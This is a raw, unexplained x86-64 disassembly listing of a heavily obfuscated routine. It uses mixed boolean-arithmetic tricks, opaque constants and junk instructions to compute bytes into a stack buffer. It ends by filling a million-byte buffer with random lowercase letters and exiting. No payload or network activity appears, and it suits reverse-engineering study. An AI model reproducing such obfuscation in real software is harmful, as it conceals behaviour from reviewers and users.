lea rax, [r9 + 3]
cmp r8, rax
jne 0x18000f3f5
add r11b, 0x34
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x6c
jmp 0x18000f58f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x18000f1d8
sub r11b, 0x40
movzx eax, bl
and al, r11b
dec rdi
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x40
inc rdi
jmp 0x18000ec63
movzx ecx, bl
lea edx, [r11 - 0x30]
movzx eax, bl
and al, dl
sub cl, al
add cl, 0x28
lea r10d, [rcx + rcx]
add r10b, dl
sub r11b, 0x6e
mov ecx, 1
movzx eax, r11b
and al, bl
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, bl
mov byte [rbp + rdi - 0x48], cl
add r8, r9
jmp 0x18000f58f
lea edx, [r11 + 0x54]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, bl
sub r10b, 0x4c
add r10b, dl
jmp 0x18000f5ca
sub r11b, 0x72
movzx eax, bl
and al, r11b
mov ecx, 0xf
sub cl, al
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
inc rdi
jmp 0x18000ec63
add r11b, 2
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0xe
jmp 0x18000f58f
add r11b, 0x7e
movzx eax, bl
and al, r11b
add al, al
sub bl, al
lea r10d, [r11 + rbx]
sub r10b, 0x72
add r8, r9
jmp 0x18000f58f
lea edx, [r11 + 0x6e]
movzx eax, bl
and al, dl
movzx r10d, bl
add al, al
sub r10b, al
sub r10b, 2
jmp 0x18000f51d
movzx r11d, dil
mov ecx, 0x1b
lea edx, [r11 + 0x66]
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
add r11b, 0xe
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
sub r11b, 0x62
add r11b, bl
mov byte [rbp + rdi - 0x48], r11b
inc r9
dec rdi
inc rdi
jmp 0x18000ec63
lea edx, [rdi + 0x5e]
mov ecx, 0x37
movzx eax, bl
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, dl
dec rdi
inc rdi
jmp 0x18000ec63
mov ecx, 0x21
movabs rax, 0x708365c1d62544d2
add rax, rdi
and sil, al
sub cl, sil
lea r10d, [rcx + rcx]
add r10b, al
add r10b, bl
movzx eax, r10b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x18000ec63
movabs rax, 0x906632b334c7a74e
movzx r11d, dil
add rax, rdi
and sil, al
add sil, sil
sub al, sil
lea r10d, [rbx + rax]
sub r10b, 0x22
add r11b, 0x16
inc r9
movzx eax, r11b
mov ecx, 0x33
and al, bl
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x48], al
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x28]
inc r8
movzx eax, dl
mov ecx, 0xc
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x48], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
inc rdi
jmp 0x18000ec63
mov ecx, 0xb
movabs rax, 0xd02bcc95f20c6c46
add rax, rdi
and sil, al
sub cl, sil
lea r10d, [rcx + rcx]
add r10b, al
add r10b, bl
movzx eax, byte [rbp + rdi - 0x48]
add rax, r9
add rdi, rax
inc rdi
jmp 0x18000ec63
sub r11b, 0x36
mov ecx, 0x3d
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x18000ec56
add r11b, 0x46
mov ecx, 0xb
movzx eax, bl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, bl
add r10b, r11b
jmp 0x18000ec4c
mov eax, dword [rbp + 0x172ea10]
jmp 0x18000f6b6
mov eax, dword [rbp + 0x121b8d2]
jmp 0x18000f6b6
mov eax, dword [rbp - 0x48]
movsxd r8, eax
lea rdx, [rbp - 0x28]
mov rcx, r12
call fcn.18004ea30
mov r15, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
test eax, eax
je 0x18000f738
mov ecx, 0xf4241
call fcn.180037808
mov rbx, rax
call fcn.180037750
mov r8d, eax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x1a
sub r8d, ecx
add r8b, 0x61
mov byte [rbx + r13], r8b
inc r13
cmp r13, 0xf4240
jl 0x18000f6f5
mov rcx, rbx
mov byte [rbx + 0xf4240], 0
call fcn.1800367d8
mov rbx, qword [rsp + 0x90]
mov rcx, qword [rbp - 0x20]
xor rcx, rsp
call fcn.180029e30
add rsp, 0x78
pop r13
pop rbp
ret
call fcn.18000c6d0
call fcn.18000a1e0
mov ecx, 1
call fcn.180037744
int3